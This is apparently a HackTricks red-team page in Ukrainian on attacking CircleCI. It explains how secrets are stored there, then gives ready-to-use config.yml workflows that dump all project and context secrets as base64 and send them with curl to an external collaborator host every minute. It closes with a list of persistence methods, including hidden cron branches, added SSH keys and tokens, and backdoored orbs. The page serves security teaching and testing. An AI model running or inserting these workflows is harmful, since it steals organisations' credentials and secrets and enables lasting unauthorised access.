CircleCI Security

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Основна інформація

CircleCI - це платформа для постійної інтеграції, де ви можете визначити шаблони, вказавши, що ви хочете, щоб він робив з якимось кодом і коли це робити. Таким чином ви можете автоматизувати тестування або розгортання безпосередньо з гілки майстра вашого репозиторію, наприклад.

Дозволи

CircleCI успадковує дозволи від github та bitbucket, пов'язані з акаунтом, який увійшов. У моїх тестах я перевірив, що доки у вас є права на запис у репозиторії на github, ви зможете керувати налаштуваннями проекту в CircleCI (встановлювати нові ssh-ключі, отримувати ключі api проекту, створювати нові гілки з новими конфігураціями CircleCI...).

Однак вам потрібно бути адміністратором репозиторію, щоб перетворити репозиторій на проект CircleCI.

Змінні середовища та Секрети

Згідно з документацією існують різні способи завантаження значень у змінні середовища всередині робочого процесу.

Вбудовані змінні середовища

Кожен контейнер, запущений CircleCI, завжди матиме певні змінні середовища, визначені в документації, такі як CIRCLE_PR_USERNAME, CIRCLE_PROJECT_REPONAME або CIRCLE_USERNAME.

Текст відкритого тексту

Ви можете вказати їх у відкритому тексті всередині команди:

- run:
name: "set and echo"
command: |
SECRET="A secret"
echo $SECRET

Ви можете вказати їх у звичайному тексті всередині середовища виконання:

- run:
name: "set and echo"
command: echo $SECRET
environment:
SECRET: A secret

Ви можете вказати їх у звичайному тексті всередині середовища build-job:

jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret

Ви можете вказати їх у звичайному тексті всередині середовища контейнера:

jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret

Секрети проекту

Це секрети, які будуть доступні лише проекту (будь-якій гілці). Ви можете побачити їх, оголошені в https://app.circleci.com/settings/project/github/<org_name>/<repo_name>/environment-variables

Функціонал "Імпорт змінних" дозволяє імпортувати змінні з інших проектів до цього.

Контекстні секрети

Це секрети, які є організаційними. За замовчуванням будь-який репозиторій матиме доступ до будь-якого секрету, збереженого тут:

Проте, слід зауважити, що можна вибрати іншу групу (замість Всі учасники), щоб надати доступ до секретів лише певним людям. Це наразі один із найкращих способів підвищити безпеку секретів, щоб не дозволяти всім до них доступ, а лише деяким людям.

Атаки

Пошук секретів у відкритому тексті

Якщо у вас є доступ до системи контролю версій (наприклад, github), перевірте файл .circleci/config.yml кожного репозиторію на кожній гілці і шукайте потенційні секрети у відкритому тексті, збережені там.

Перелік секретних змінних середовища та контекстів

Перевіряючи код, ви можете знайти всі назви секретів, які використовуються в кожному файлі .circleci/config.yml. Ви також можете отримати назви контекстів з цих файлів або перевірити їх у веб-консолі: https://app.circleci.com/settings/organization/github/<org_name>/contexts.

Ексфільтрація секретів проекту

Для того, щоб ексфільтрувати ВСІ секрети проекту та контексти, вам просто потрібно мати ПРАВА ЗАПИСУ до лише 1 репозиторію в усій організації github (і ваш обліковий запис повинен мати доступ до контекстів, але за замовчуванням кожен може мати доступ до кожного контексту).

Функціонал "Імпорт змінних" дозволяє імпортувати змінні з інших проектів до цього. Тому зловмисник може імпортувати всі змінні проекту з усіх репозиторіїв і потім ексфільтрувати їх всі разом.

Усі секрети проекту завжди встановлюються в середовищі завдань, тому просто викликання середовища та затемнення його в base64 ексфільтрує секрети в журнал консолі веб-потоків:

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"

workflows:
exfil-env-workflow:
jobs:
- exfil-env

Якщо у вас немає доступу до веб-консолі, але у вас є доступ до репозиторію і ви знаєте, що використовується CircleCI, ви можете просто створити робочий процес, який запускається кожну хвилину і який експортує секрети на зовнішню адресу:

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"

# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env

Витягнення секретів контексту

Вам потрібно вказати назву контексту (це також витягне секрети проекту):

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"

workflows:
exfil-env-workflow:
jobs:
- exfil-env:
context: Test-Context

Якщо у вас немає доступу до веб-консолі, але у вас є доступ до репозиторію і ви знаєте, що використовується CircleCI, ви можете просто змінити робочий процес, який запускається кожну хвилину і який експортує секрети на зовнішню адресу:

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"

# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env:
context: Test-Context

Просто створення нового .circleci/config.yml у репозиторії недостатньо для запуску збірки в circleci. Вам потрібно увімкнути його як проект у консолі circleci.

Втеча в хмару

CircleCI дає вам можливість запускати ваші збірки на їхніх машинах або на власних. За замовчуванням їхні машини розташовані в GCP, і спочатку ви не зможете знайти нічого відповідного. Однак, якщо жертва запускає завдання на власних машинах (потенційно, в хмарному середовищі), ви можете знайти кінцеву точку хмарних метаданих з цікавою інформацією.

Зверніть увагу, що в попередніх прикладах все запускалося всередині контейнера Docker, але ви також можете попросити запустити віртуальну машину VM (яка може мати різні дозволи в хмарі):

jobs:
exfil-env:
#docker:
#  - image: cimg/base:stable
machine:
image: ubuntu-2004:current

Чи навіть контейнер Docker з доступом до віддаленої служби Docker:

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- setup_remote_docker:
version: 19.03.13

Наполегливість

  • Можливо створити токени користувача в CircleCI для доступу до API-точок з доступом користувача.

  • https://app.circleci.com/settings/user/tokens

  • Можливо створити токени проектів для доступу до проекту з дозволами, наданими токеном.

  • https://app.circleci.com/settings/project/github/<org>/<repo>/api

  • Можливо додати SSH-ключі до проектів.

  • https://app.circleci.com/settings/project/github/<org>/<repo>/ssh

  • Можливо створити cron-завдання в прихованій гілці в неочікуваному проекті, який розкриває всі змінні середовища контексту щодня.

  • Або навіть створити в гілці / змінити відоме завдання, яке буде розкривати всі контексти та секрети проектів щодня.

  • Якщо ви власник github, ви можете дозволити неперевірені орбіти та налаштувати одну в завданні як задній прохід

  • Ви можете знайти вразливість внесення команд в деяке завдання та внести команди через секрет, змінюючи його значення

Last updated